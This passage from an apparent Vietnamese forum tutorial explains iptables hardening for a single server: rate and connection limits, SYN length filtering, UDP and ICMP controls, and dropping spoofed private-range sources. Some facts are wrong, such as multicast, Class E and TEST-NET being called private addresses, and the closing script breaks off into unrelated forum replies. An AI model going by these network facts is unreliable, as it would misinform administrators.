-Tại thời điểm T1 + 1/3 giây, do qui định của chuỗi --limit 3/s, một giấy phép được nạp vào cho --limit-burst, nhưng gần như ngay tức khắc, giấy phép này được một packet của máy A sử dụng và do đó --limit-burst lại trở về 0 (tiếp tục hết "giấy phép"). Cứ tiếp tục như thế, sau 1/3 giây, sẽ có một packet được chấp nhận và chỉ 1 mà thôi nếu máy A cứ tiếp tục truy cập với tốc độ như trên vào máy chủ.
Nếu máy con ngừng truy cập vào máy chủ thì diễn biến sẽ như sau:
- Cứ sau 1/3 giây, một giấy phép sẽ được nạp vào --limit-burst, và vì bây giờ không còn packet nào được gửi đến do đó --limit-burst sẽ giữ nguyên giá trị. Cứ thể --limit-burst tăng dần cho đến khi chạm quy định ban đầu là 3 thì sẽ ngừng lại, "giấy phép" hoàn toàn ở tình trạng nguyên thuỷ. Trong thời gian --limit-burst tăng lại giá trị ban đầu, nếu máy A lại tiếp tục gửi packet thì những packet này sẽ sử dụng giấy phép trong limit-burst, và lại giảm limit-burst xuống, nếu limit-brust bằng 0 thì tất nhiên firewall sẽ tiếp tục cản các gói tin ở dạng này nếu vẫn tiếp tục vi phạm luật cho đến khi --limit-burst được giải toả (như đã giải thích).
Đây chỉ là một ví dụ minh hoạ ứng dụng -m limit. Bạn cần khảo sát số lượng truy cập đến dịch vụ nào đó trên máy chủ trước khi hình thành giá trị thích hợp cho -m limit. Nên cẩn thận trường hợp một proxy server chỉ có một IP và có thể có hàng ngàn người dùng phía sau proxy; ghi nhận yếu tố này để điều chỉnh limit rate cho hợp lý.
8.2.3.2 Giới hạn truy cập với "connection limit"
"Connection limit" cần huy động đến CONFIG_IP_NF_MATCH_CONNLIMIT có từ patch-o-matic trên website chính của iptables http://www.iptables.org). Module này cần được tải và biên dịch -11- trước khi có thể hoạt động. Ứng dụng tính năng này trên dòng 32 như sau:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
trở thành:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m connlimit ! --connlimit-above 2 -j ACCEPT
-m connlimit ! --connlimit-above 2 quyết định tối hậu đến số phận các gói tin đi vào ngoài các áp đặt đi trước (như gói tin TCP phải mang flag SYN và phải ở tình trạng NEW). Tính linh động nằm ở giá trị đảo (!) phía trước --connlimit-above 2. Dòng lệnh này áp đặt thêm một tầng kiểm soát: các gói tin truy cập này đến từ một IP mà không nhiều hơn 2 xuất truy cập thì tiếp nhận. 3, 4 hoặc hơn xuất truy cập không thể xảy ra từ cùng một máy con (có cùng IP) đến máy chủ. Tính chất này khác hẳn tính chất "connection rate" đã trình bày trong phần 8.2.3.1, "connection limit" dựa trên tính đồng thời (concurrent) của giao thức TCP mà điều tác -12-
8.2.4 Vấn đề độ dài của SYN packet:
Bạn có thật sự paranoid không? Nếu có thì tiếp tục theo dõi phần mở rộng này. Theo RFC 793, SYN packet không mang theo "payload" (dữ liệu) và nếu các hệ thống ứng dụng đúng theo RFC 793 thì SYN packet chỉ có chiều dài tối đa là ở khoảng 40 đến 60 bytes nếu bao gồm các tcp options. Dựa trên quy định này (hầu hết các ứng dụng trên mọi hệ điều hành đều tuân thủ theo quy định của RFC 793), chúng ta có thể hình thành một luật khác cho dòng 32 ở trên:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
trở thành:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m length --length 40:60 -j ACCEPT
Nếu cần, bạn vẫn có thể đưa vào một trong hai chọn lựa "connection rate" hoặc "connection limit" cho dòng lệnh trên để thắt chặt. Điều cần nói ở đây là giá trị -m length --length 40:60 ấn định chiều dài của gói tin SYN của giao thức TCP được firewall chúng ta tiếp nhận. Như đã đề cập ở trên, theo đúng quy định, gói SYN không mang dữ liệu cho nên kích thước của chúng không thể (và không nên) lớn hơn 40:60. Luật trên áp đặt một quy định rất khắc khe để loại trừ các gói SYN lại mang dữ liệu (và đặc biệt mang dữ liệu với kích thước lớn). Theo tôi thấy, những gói tin này rất hiếm thấy ngoại trừ trường hợp cố tình tạo ra hoặc thỉnh thoảng có dăm ba gói "lạc loài" ở đâu vào từ một hệ điều hành nào đó không ứng dụng đúng quy cách. Xử dụng luật này hay không là tùy mức khắc khe của bạn. Cách tốt nhất trước khi dùng, bạn nên thử capture các gói SYN cho suốt một ngày (hoặc nhiều) và mang về phân tích xem có bao nhiêu gói SYN thuộc dạng không cho phép, có bao nhiêu gói tin được xếp loại vào nhóm có chiều dài 40:60 bytes và từ đó mới đi đến quyết định cuối cùng.
8.3 Vấn đề thuộc giao thức UDP:
Giao thức UDP mang tính chất rất khác với TCP cho nên cơ chế điều hoạt và quản lý có những điểm khác biệt. Bởi UDP hoạt động trên căn bản lặp (interation) -13- nên đối với các gói tin thuộc giao thức này có hai điểm cần chú ý:
8.3.1 Vấn đề thuộc số lượng truy cập UDP
Bởi UDP là giao thức thuộc dạng "stateless" nên dịch vụ UDP trên máy chủ chỉ có thể nhận và "cố gắng" thoả mãn yêu cầu. Dịch vụ UDP trên máy chủ:
- không có cách nào kiểm tra xem nguồn truy cập có thật sự hiện hữu hay không; máy chủ cũng không thể phân biệt gói tin UDP đang đi vào là gói đang trả lời ngược lại (thuộc một xuất truy cập hiện có) hay một gói UDP hoàn toàn mới.
- chỉ đơn giản "trả lời" và không cần theo dõi xem gói tin trả lời có đi đến đích hay không.
Dựa trên tính chất này, kẻ tấn công có thể tạo hàng loạt gói tin (1000 yêu cầu trong một giây chẳng hạn) đến một dịch vụ UDP. Dịch vụ này sẽ cần mẫn đặt các yêu cầu vào hàng chờ đợi (queue) và tuần tự xử lý. Tuy nhiên, "queue" của dịch vụ có giới hạn trên căn bản tài nguyên, liệu dịch vụ UDP này chứa được bao nhiêu yêu cầu trên "queue" trước khi máy chủ bị cạn kiệt? Hơn nữa, vì tính "stateless" này mà thông tin chuyển tải xuyên qua UDP nhanh hơn TCP rất nhiều, điều này lại càng tiện lợi cho việc "dội" một dịch vụ UDP trên máy. Trong trường hợp này, -m limit của iptables trở nên hết sức tiện dụng. Thử xem hai dòng 23, 24 trở thành:
Code:
$IPT -A INPUT -i $IF -p udp -s $NET --sport $port -d $IP --dport $port -m state --state NEW,ESTABLISHED -m limit --limit 2/s --limit-burst 2 -j ACCEPT
$IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $port -m state --state ESTABLISHED -m limit --limit 2/s --limit-burst 2 -j ACCEPT
chắc chắn sẽ giúp cho dịch vụ DNS này có đủ thời gian và tài nguyên phục vụ các đòi hỏi về name một cách bình thường. Nên biết rằng, hầu hết các DNS server có thể lưu một bản "cache" cho những IP / Name đã được biên giải cho nên rất hiếm khi một DNS server nào đó đòi hỏi dịch vụ DNS trên máy chủ của chúng ta phải tiếp nhận hơn 2 yêu cầu trong một giây và liên tục 2 lần. Thật ra, giới hạn này vẫn còn rất "dễ chịu" cho một dịch vụ DNS. Tuy nhiên, với các dịch vụ khác cũng dùng giao thức UDP và phục vụ những dòng thông tin ở vận tốc cao (như streaming media chẳng hạn) thì giá trị -m limit trên cần được điều chỉnh cho thích hợp với nhu cầu này.
8.3.2 vấn đề thuộc thực tính của xuất truy cập UDP
Kiểm tra thực tính truy cập cho UDP? Chắc hẳn bạn sẽ hỏi câu này vì ở trên tôi đề cập đến khía cạnh dịch vụ UDP trên máy chủ không có cách nào kiểm tra xem nguồn truy cập có thật sự hiện hữu hay không (nguồn địa chỉ IP). Vậy, giải pháp là sao đây? Phần lớn các cuộc tấn công nghiêm trọng có thể làm tê liệt một dịch vụ bằng giao thức UDP được tạo ra từ các IP giả mạo và các IP thuộc nhóm được IANA phân bố dùng làm IP cho nội mạng -14-. Nếu các địa chỉ dùng để tấn công là các địa chỉ thuộc nhóm public IP thì bạn chỉ có thể giao phó cho -m limit và -m state ở trên. Nếu -m limit được ấn định gắt gao hơn nữa sẽ cản bớt số lượng gói UDP "flood" dịch vụ.
Riêng với các yêu cầu truy cập từ các nhóm IP nội mạng (xem chú thích 14) thì việc lượt bỏ chúng khá đơn giản. Thật ra, việc lọc bỏ này không riêng gì cho giao thức UDP mà còn có thể ứng dụng cho mọi giao thức. Đoạn lệnh sau dùng để thắt chặt vấn đề này:
Code:
NON_NET="10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 224.0.0.0/4 240.0.0.0/5 169.254.0.0/16 192.0.2.0/24"
for entry in $NON_NET; do
$IPT -A INPUT -i $IF -s $entry -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_NET: "
$IPT -A INPUT -i $IF -s $entry -j DROP
done
Biến $NON_NET trên có thể đưa vào nhóm biến được ấn định ở phần trên của firewall script và đoạn lặp "for / done" có thể nằm trên dòng 15 (trước luật đầu tiên ấn định ACCEPT). Dòng luật trong đoạn lặp không ấn định cụ thể giao thức (-p) và cũng không ấn định tình trạng (-m state) nên mọi giao thức và mọi tình trạng đều có tác dụng. Lệnh này trông rất đơn giản nhưng hàm chứa tính kiểm soát rất rộng -15-. Nếu bạn thích, thử tính xem có bao nhiêu địa chỉ cả thảy trong nhóm NON_NET này để hình dung một dòng lệnh đơn giản có thể loại bỏ bao nhiêu IP.
Điều căn bản là nên xem xét kỹ lưỡng trước khi quyết định chạy một dịch vụ UDP trên máy chủ, đặc biệt cho trường hợp một máy đơn vừa là firewall, vừa phải cung cấp dịch vụ thì càng cẩn thận hơn. Nguyên tắc bảo mật không khuyến khích máy chủ cung cấp dịch vụ cũng là firewall vì kiện toàn mô hình này cực kỳ khó khăn để bảo đảm hiệu năng và bảo mật.
8.4 Vấn đề thuộc giao thức ICMP:
Giao thức ICMP là một giao thức rất tiện dụng trong các giềng mối hoạt động của mạng. Tuy nhiên, nó cũng là phương tiện căn bản dùng trong các quy trình tìm hiểu và tấn công. Có những loại ICMP không nên dùng trên mạng công cộng nếu bảo mật là vấn đề hàng đầu vì những loại ICMP này tiết lộ quá nhiều thông tin quan trọng của hệ thống chúng ta muốn bảo vệ. Hơn nữa, có những loại ICMP còn là phương tiện để đưa hệ thống chúng ta muốn bảo vệ vào tình trạng nguy hiểm. Ở đây chúng ta thử đưa ra hai vấn đề chính về việc xử lý ICMP cho máy chủ.
8.4.1 Chọn lựa và giới hạn ICMP
ICMP có 15 loại và mỗi loại có ít nhất là một code khác nhau. Riêng ICMP loại 3 có đến 15 code khác nhau. Vậy, chúng ta nên chọn và giới hạn ICMP nào? Sự chọn lựa này mang tính cá nhân vì mỗi người có cách nhìn khác nhau về ICMP. Riêng tôi, ICMP 0, 3, 4, 8 và 11 nên được dùng, số còn lại không nên cho phép ra vào vì chúng mang những tính chất ảnh hưởng đến vấn đề bảo mật cho máy chủ. Nếu đã chọn lựa cụ thể loại ICMP nào được dùng, tại sao không hình thành một luật cụ thể cho ICMP? Thử ứng dụng đoạn kế tiếp:
Code:
OK_ICMP="0 3 4 8 11"
for item in $OK_ICMP; do
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -j ACCEPT
done
Đoạn lặp trên thiết lập nhóm luật xử lý giao thức ICMP cho phép các loại ICMP trong biến $OK_ICMP. Thật ra nhóm luật trên chỉ mới giới hạn loại ICMP được dùng nhưng chưa có bất cứ cơ chế nào kiểm soát lượng lưu thông ICMP ra vào. Bởi vậy, muốn vững hơn thì nên đưa vào -m limit để tạo nên mức kiểm soát cụ thể:
Code:
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m limit --limit 1/s --limit-burst 1 -j ACCEPT
-m limit trên áp đặt giá trị "rate" rất khắc khe: chỉ tiếp nhận một gói ICMP trong mỗi giây. Với giới hạn này, các cuộc dội ICMP (ICMP flood) gần như vô tác dụng.
8.4.2 Cản ICMP hoặc cản ICMP "một nửa"
ICMP được dùng làm bước đầu cho những cuộc khám phá một host / network. Có rất nhiều công cụ rà cổng (port scan) dựa trên hồi báo của ICMP để quyết định các bước khám phá kế tiếp. Những thủ thuật tìm hiểu "chữ ký hệ thống" (system foot-print) cũng trông cậy rất nhiều vào ICMP. Bạn có "paranoid"? Vậy thì hãy thử thắt chặt thêm xem sao.
8.4.2.1 Cản ICMP
Mức độ cản ở đây chỉ dừng lại ở mức độ cản không cho các gói ICMP khởi tạo và đi vào từ bên ngoài. Máy chủ có thể khởi tạo các gói ICMP (trong giới hạn các loại ICMP cho phép thuộc biến $OK_ICMP) và các máy bên ngoài chỉ có thể "trả lời" các gói ICMP máy chủ tạo ra. Chức năng -m state một lần nữa hữu dụng cho trường hợp này:
Code:
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m state --state ESTABLISHED -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m state --state NEW,ESTABLISHED -m limit --limit 1/s --limit-burst 1 -j ACCEPT
Bạn có thể thấy gói tin đi vào xuyên qua chuỗi INPUT chỉ có thể được tiếp nhận ở tình trạng ESTABLISHED nhưng gói tin đi ra xuyên qua chuỗi OUTPUT thì có thể được tiếp nhận ở cả tình trạng NEW và ESTABLISHED. -m state hỗ trợ cho -m limit trong trường hợp này tạo nên các luật rất khắc khe cho ICMP. Có những quan điểm cho rằng quá khắc khe với ICMP không tiện dụng cho các hoạt động mạng; lựa chọn thắt chặt hay không là do quyết định của cá nhân bạn.
8.4.2.2 Cản ICMP "một nửa"
Cản "một nửa" là sao nhỉ? Có ai đó hỏi (một là cản, hai là không, không thể có chuyện "một nửa" ở đây). Vậy mà có cách cản "một nửa" nếu bạn thích những ứng dụng "fancy". Bạn còn nhớ -m length ở phần 8.2.4? Đây chính là chìa khoá của câu trả lời:
Code:
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m length 42:43 -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m length 42:43 -m limit --limit 1/s --limit-burst 1 -j ACCEPT
Thông thường tiện dụng ping gởi đi một gói dữ liệu nào đó để host được ping theo mặc định -16- . Nếu firewall được ấn định như trên, chỉ có gói tin ICMP nào có chiều dài trong khoảng 42 đến 43 bytes thì mới tiếp nhận. Điều này có nghĩa, khi một ai đó thử ping theo mặc định trên MS-DOS prompt hoặc trên một *nix console chắc chắn sẽ không có kết quả vì không thoả mãn kích thước gói tin đã ấn định. Tính "mở một nửa" nằm ở kích thước cụ thể của gói tin. Chỉ có bạn biết kích thước gói tin là bao nhiêu để ping vào máy chủ thành công (đây chính là tính "mở"); đối với mọi người dùng khác họ sẽ không ping vào máy chủ thành công vì hầu hết họ dùng kích thước gói tin theo mặc định (đây chính là tính "đóng").
Có thể có những cá nhân kiên nhẫn ngồi "rà" từng kích thước gói tin hoặc viết một đoạn script để thực hiện quy trình "rà" này nhưng chuyện này chỉ xảy ra nếu cá nhân ấy nghi ngờ máy chủ chúng ta ấn định kích thước gói tin cụ thể. Đối với người dùng bên ngoài, khả năng cản hoàn toàn và cản "một nửa" ở hai phần 8.4.2.1 và 8.4.2.2 không khác gì nhau vì đơn giản không thể "ping" ngay từ đầu. Với các ứng dụng kiểm soát ICMP trên, mối đe doạ của các dạng tấn công dựa trên ICMP hầu như vô hiệu hoá. Tùy ý bạn mà ứng dụng.
9. Thử nghiệm:
Bài viết cho case 2 này sẽ không đưa ra cụ thể quy trình thử nghiệm. Nếu bạn đã đọc kỹ và chú ý từng chi tiết được đưa ra ở trên, bạn hẳn nhận ra có vô số điều cần và nên thử nghiệm. Tính chất phòng bị và bảo vệ máy chủ được phân tích cụ thể cho từng giao thức ở trên; hãy để tính sáng tạo của mình làm việc cho công tác thử nghiệm vậy
10. Kết luận:
Bài viết phân tích case 2 này không trực tiếp phục vụ mục đích tạo một firewall script có sẵn để người dùng xử dụng ngay. Bài viết này mượn iptables firewall script như một thứ lý do để:
- đi vào tính năng của iptables / netfilter
- đi vào những tình huống có thể xảy ra
- mở rộng cách nhìn bảo mật xuyên qua tính năng và hoạt động của một số giao thức thường dùng.
Với tinh thần bảo mật, bài viết quy tụ về một điểm chính: chỉ cho phép lưu thông hợp pháp. Phần bị chú bên dưới có lẽ không chỉ đơn thuần là bị chú mà là một số phân tích mở rộng những điều được phân tích trong thân bài. Nên xem case 2 này là một phương tiện để khám phá và nên khởi đầu mọi khúc mắc bằng câu hỏi "tôi có vấn đề này" và thử hình thành câu hỏi kế tiếp "tôi có thể làm gì để giải quyết". Hay nói một cách khác, bạn cần hiểu rõ vấn đề (problem) trước khi nghĩ đến giải pháp (solution).
Bị chú:
-1- Authoritative DNS: là name server có thẩm quyền trả lời các thỉnh cầu về tên của một domain và các host trong domain này ở cấp độ chủ quyền. Xem thêm trang http://en.wikipedia.org/wiki/DNS) để tham khảo "authoritative DNS".
-2- Cách gọi "máy chủ" ở đây để chỉ cho máy đơn có hỗ trợ dịch vụ mà chúng ta đang phân tích. Đừng nhầm lẫn với một máy chủ nào khác trong case 2 này.
-3- Giao thức cho các cổng dịch vụ như 80, 443, 25, 110, 22 cho ví dụ trên mang tính chất tương tự nhau trên phương diện kết nối. Ví dụ, một client nào đó từ Internet muốn truy cập một trong các cổng dịch vụ trên, giữa client ấy và máy chủ sẽ đi xuyên qua quy trình bắt tay (3 way handshake) bình thường và thiết lập xuất truy cập (connection). Xuất truy cập này không đòi hỏi huy động thêm một hoặc nhiều cổng dịch vụ khác hoặc giao thức khác để hoàn tất xuất truy cập. Giao thức như FTP chẳng hạn, ngoài quy trình bắt tay bình thường xảy ra ở cổng 21 thuộc máy chủ còn phải huy động thêm một cổng khác cho dữ liệu (cổng 20 nếu dùng active ftp hoặc $HI_PORTS nếu dùng passive ftp). Những giao thức tương tự như FTP không có cùng tính chất như các cổng đưa ra trong ví dụ trên.
-4- --syn là cách viết tắt của --tcp-flags SYN,RST,ACK SYN. --tcp-flags là một chọn lựa trong iptables để xử lý các gói tin với giao thức TCP. Một cách tổng quát mà nói, --tcp-flags có hai giá trị tách rời bởi khoảng trống. Với ví dụ này, giá trị thứ nhất là SYN,RST,ACK và giá trị thứ hai là SYN. Giá trị thứ nhất là danh sách các TCP flags bạn muốn iptables duyệt và giá trị thứ nhì là danh sách các TCP flags được ứng hiệu (được iptables kiểm soát và quyết định cho vào hay bị cản dựa trên sự hiện diện của các flags này). Để xác định các TCP flags thích ứng, bạn cần biết rõ mục đích và kết quả của các flags này. Thông thường các truy cập hợp lệ thường khởi đầu bằng --tcp-flags SYN,RST,ACK SYN như ở đây, trong đó các TCP packets dùng để khởi tạo một xuất truy cập phải chứa SYN flag. Xem thêm tài liệu packet-filtering-HOWTO trên website http://www.iptables.org và tham khảo một cuốn sách hay về TCP/IP như cuốn TCP Illustrated I của Richard Stevens chẳng hạn.
-5- Khi có ý định cung cấp dịch vụ DNS trên máy chủ, bạn cần kiện toàn dịch vụ này để có thể đáp ứng mọi yêu cầu hợp lệ. Thông thường dịch vụ DNS lắng nghe trên cổng 53 UDP đủ phục vụ name resolution cho hầu hết các trường hợp vì hiếm khi chiều dài của gói tin (cho các request / repsond) với giao thức DNS lớn hơn 512 bytes. Nếu chiều dài gói tin này hơn 512 bytes thì dịch vụ DNS của máy chủ phải đi xuyên qua cổng 53 TCP và trường hợp này rất hiếm thấy với các thông tin hợp lệ và bình thường (ngoại trừ trường hợp zone transfer giữa DNS). iptables trong bài viết này chỉ đóng vai trò kiểm soát các gói tin đi ra và đi vào cho dịch vụ DNS đã được hoàn chỉnh. Kiện toàn bảo mật cho DNS server ở cấp độ "application layer" là vấn đề cần thiết và quan trọng. Vấn đề này nằm ngoài phạm vi bài viết về tính năng của iptables.
-6- Các tình trạng NEW,RELATED,ESTABLISHED,VALID được theo dõi trong bảng theo dõi của netfilter (hay còn được gọi là conntrack table) có ý nghĩa và ứng dụng rộng hơn các "state" của TCP socket connection (được thấy khi chạy netstat) và rất cụ thể cho netfilter. Một gói tin ở dạng NEW đối với netfilter mang ý nghĩa rộng hơn một gói tin mang SYN flag thuộc giao thức TCP (mặc dù trên bình diện TCP, SYN packet tương tự như NEW packet vì chỉ có gói tin TCP ở tình trạng NEW mới mang flag SYN).
Ví dụ, một gói tin TCP mang flag là ACK chưa hề có trong conntrack table đi vào iptables firewall:
- việc đầu tiên netfilter sẽ ghi nhận: đây là một gói tin "có thể" thuộc dạng NEW và nếu firewall của chúng ta có chứa một luật (trực tiếp hay gián tiếp) chỉ định rằng firewall không thể tiếp nhận các gói tin TCP thuộc dạng NEW mà lại mang TCP flag là ACK thì
- netfilter sẽ xếp loại gói tin này thành INVALID.
Đối với các giao thức "stateless" như UDP, ICMP thì tính ứng hiệu với các tình trạng NEW,RELATED,ESTABLISHED,VALID rất khác so với TCP. Ví dụ, UDP không hề có flags hay sequence number như TCP nên một gói tin UDP chưa hề có trong conntrack table sẽ được xếp loại là NEW và nếu nó thuộc một xuất truy cập đã ghi nhận thì nó được xếp loại ESTABLISHED.
Conntrack (hoặc Connection tracking) là một chức năng rất mạnh và linh động của netfilter. Nếu dùng -m state ấn định connection state song song với tính chất của từng loại giao thức của các gói tin thì có thể tạo ra các luật hết sức vững vàng và hiệu năng cho firewall.
-7- high availability, một thuật ngữ kỹ thuật. Một dịch vụ ở dạng high availability là dịch vụ hiện hữu ở mức cao độ. High availability chỉ thường thấy có (và thật sự có) ở những môi trường enterprise, nơi sự bền bỉ và sự hiện hữu của dịch vụ là đòi hỏi tối quan trọng.
-8- dấu chấm thang (!) đứng trước giá trị nào đó sẽ nghịch đảo (negate) ý nghĩa của giá trị ấy. Cách dùng này có sẵn trong iptables và rất phổ biến trong các "shell" trên *nix và các ngôn ngữ lập trình nói chung.
-9- Ở đây tôi cố gắng tránh việc cung cấp quá nhiều thông tin cho mỗi chọn lựa có thể ứng dụng. Hai ví dụ trên nhằm mục đích minh hoạ mức uyển chuyển và linh động iptables cho phép chúng ta hình thành các luật ứng dụng cho firewall. Để khai triển góc độ này, kiến thức về giao thức TCP và ứng dụng cụ thể cho nhu cầu của từng trường hợp là hai yếu tố tối quan trọng để hình thành các luật ở cấp độ này.
-10- Vấn đề này thuộc phạm vi "trend analysis" các dạng truy cập đến một dịch vụ. Đây là một công tác phức tạp, đòi hỏi công tác quan sát và phân tích. Tổng quát mà nói, một client truy cập vào một trang web trung bình thường mất vài giây và người ấy thường dừng lại ở trang này ít nhất là vài chục giây để lượt qua xem thông tin ở trang này có phù hợp với nhu cầu hay không. Trọn bộ quá trình truy cập mang tính "thiện ý" này có thể kéo dài ít nhất là trên dưới một phút trước khi người dùng ấy tiếp tục gởi yêu cầu truy cập mới. Bằng cách thu thập và phân tích biên độ truy cập của các người dùng, chúng ta có thể hình thành một con số tương đối cho giá trị truy cập thuộc phạm vi "thiện ý" ở đây.
-11- Vá Linux kernel và iptables cho mục đích dùng thêm các module (không thuộc nhóm base của netfilter) rất đơn giản. Sơ lược các bước như sau:
- tải gói patch-o-matic-ng-<yyyymmdd>.tar.bz2 từ website của iptables http://www.iptables.org)
- xả nén gói vá này ở nơi nào đó thích hợp.
- chuyển vào thư mục chứa mã nguồn Linux và chạy: make clean mrproper để dọn dẹp những object cũ có thể tạo trở ngại trước khi vá.
- chuyển vào thư mục chứa mã nguồn iptables và chạy: make distclean
- chuyển vào thư mục chứa các miếng vá sau khi xả nén xong (bước trên)
- chạy lệnh: KERNEL_DIR=<path_to_kernel_src> IPTABLES_DIR=<path_to_iptables_src> ./runme connlimit. Trong đó connlimit chính là miếng vá cần thiết.
- biên dịch lại Linux kernel (tham khảo thêm series 4 bài "Tái biên dịch Linux kernel ở: http://www.diendantinhoc.net/?articl...=tute_nix và các bài tiếp theo)
- tái khởi động máy sau khi biên dịch Linux kernel hoàn tất và thành công
- chuyển vào thư mục chứa mã nguồn của iptables (đã được patch ở trên) và tái biên dịch lại iptables. Xem thêm chi tiết trong hồ sơ INSTALL có trong thư mục chứa mã nguồn của iptables.
-12- Giao thức TCP mang tính đồng thời (concurrent). Mỗi dịch vụ TCP đang hoạt động ở tình trạng "lắng nghe" (LISTEN) trên một cổng dịch vụ nào đó. Tình trạng này duy trì cho đến khi nào dịch vụ này được tắt bỏ hoặc bị tắt bỏ (vì bị treo, chẳng hạn).
Cứ mỗi xuất truy cập từ một máy con vào dịch vụ TCP trên server của chúng ta sẽ,
- được tạo ra một socket riêng biệt và socket này tồn tại cho đến khi xuất truy cập giữa máy con và máy chủ kết thúc.
- mỗi xuất truy cập mang cổng nguồn (source port) khác nhau trên máy con và,
- máy chủ phải có trách nhiệm phục vụ từng xuất truy cập trên từng cổng của máy con.
Dựa trên tính chất này, chúng ta thấy một máy con có thể đòi hỏi nhiều xuất truy cập cùng một lúc và máy chủ có thể đáp ứng yêu cầu này theo đúng tính chất hoạt động của TCP. Tuy nhiên, điểm cần đưa ra ở đây thuộc phạm trù bảo mật là, nếu máy con yêu cầu nhiều xuất truy cập mang tính "ác ý" (như một dạng DoS) chẳng hạn thì sao? Tình trạng có thể xảy ra:
- máy chủ vận động nhiều process để tạo các socket đáp ứng máy con
- máy chủ có thể bị cạn kiệt tài nguyên dự trữ để tạo socket
- dịch vụ được yêu cầu truy cập có thể bị mất hiệu năng vì không đáp ứng kịp với quá nhiều yêu cầu
- các dịch vụ liên hệ bị treo hoặc không thể tiếp tục hoạt động vì tài nguyên trên máy bị cạn kiệt
- các máy con khác không thể truy cập máy chủ vì máy chủ không còn khả năng đáp ứng,
- và điều tệ hại nhất là máy chủ bị hoàn toàn tê liệt vì quá tải.
Nói một cách công bằng, dịch vụ trên máy của cố gắng đáp ứng các yêu cầu theo đúng chức năng nhưng vì không đủ tài nguyên nên phải dẫn đến tình trạng trên. vậy, bao nhiêu tài nguyên thì đủ cho máy chủ? Con số này phải được hình thành từ quá trình theo dõi và đúc kết số lần truy cập, tầng số truy cập... trên máy chủ. Trên bình diện bảo mật, firewall có thể dùng để trợ giúp các dịch vụ bằng cách hạn chế các xuất truy cập "concurrent".
-13- Giao thức UDP mang tính lặp (iteration). Mỗi dịch vụ UDP đang hoạt động trên máy chỉ tiếp nhận yêu cầu từ client ở một cổng (thay vì mở ra socket mới như TCP). Hầu hết dịch vụ UDP trên máy chủ ở trong trạng thái "ngủ" (sleep) cho đến khi một client nào đó gởi yêu cầu truy cập đến, dịch vụ này mới "thức dậy" để trả lời client. Nếu có nhiều client yêu cầu cùng một lúc, các yêu cầu này được sắp hàng và dịch vụ UDP này sẽ trả lời tuần tự nó đã tiếp nhận từng yêu cầu cho đến khi hoàn tất. Header của UDP rất đơn giản so với TCP, hoàn toàn không có cơ chế để kiểm tra đường đi, lối về của các gói tin ngoài thông tin cổng nguồn và cổng đích (source port and destination port). Bởi thế, kiểm tra và quản lý các gói tin UDP nằm ở một bình diện hoàn toàn khác TCP.
-14- Nhóm private IP cho nội mạng, đôi khi còn gọi là "non-routable IP", ám chỉ các IP này không thể route ra ngoài mạng công cộng (thật tế chúng vẫn có thể route được, nhưng chỉ trong nội mạng). Các nhóm private IP này gồm có:
Class A: 10.0.0.0/8
Class B: 172.16.0.0/12
Class C: 192.168.0.0/16
Class D: 224.0.0.0/4
Class E: 240.0.0.0/5
Link Local: 169.254.0.0/16
Test Net: 192.0.2.0/24
IP từ các nhóm này không thể xuất hiện trên mạng công cộng (public network) và tất nhiên không nên cho phép đi vào hệ thống máy chủ. Tham khảo thông tin từ website IANA để nắm thêm chi tiết quy định các network class trên.
-15- Đây chỉ là một đề nghị, hay nói đúng hơn là một chia xẻ từ kinh nghiệm cá nhân. Để hình thành các luật firewall gọn gàng, súc tích và chặt chẽ, có hai nguyên tắc cần nhớ:
- luật nào cho phép thì phải cụ thể tối đa.
- luật nào ngăn cản thì phải tổng quát hết mức.
Để cho phép các gói tin đi vào (hoặc đi ra) và chỉ cho phép những gói tin nào thoả mãn yêu cầu của chúng ta thì luật cho phép phải càng cụ thể càng tốt vì nó loại bỏ những những sơ sót có thể xảy ra khi "cho phép". Trong khi đó, để ngăn cản các gói tin đi vào (hoặc đi ra) thì luật ngăn cản nên tổng quát và bao trùm một tập họp những tình huống, điều kiện mang tính chất tương tự.
-16- Kích thước mặc định của gói tin ICMP gởi đi từ tiện ích "ping" có giá trị tùy theo ứng dụng của hệ điều hành. Ví dụ Windows ping dùng 32 bytes theo mặc định, *nix nói chung dùng 56 bytes. Để ping với kích thước gói tin theo ý muốn thì:
- trên windows: dùng thông số -l (ping -l <size> <host>
- trên *nix: dùng thông số -s (ping -s <size> host>
Tổng kết đoạn script case 2:
[code]
# các thông số cần thiết
IF=`/sbin/route | grep -i 'default' | awk '{print$8}'`
IP=`/sbin/ifconfig $IF | grep "inet addr" | awk -F":" '{print$2}' | awk '{print $1}'`
IPT="/usr/local/sbin/iptables"
NET="any/0"
DNS="xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy.yyy"
SERV_TCP="22 25 80 443 110"
SERV_UDP="
|
|
|
Mulan wrote:
OK, em vào được rồi
Anh xóa account trên dùm em luôn với.
Phạt cái tội không chịu đọc e-mail bây giờ.
|
|
|
Dùng chức năng "quên mất password" để reset lại pass. Forum sẽ gởi mail đến e-mail nào em dùng để đăng ký account trên HVA trước đây.
|
|
|
15. tcp/ip info, thật hay giả?:
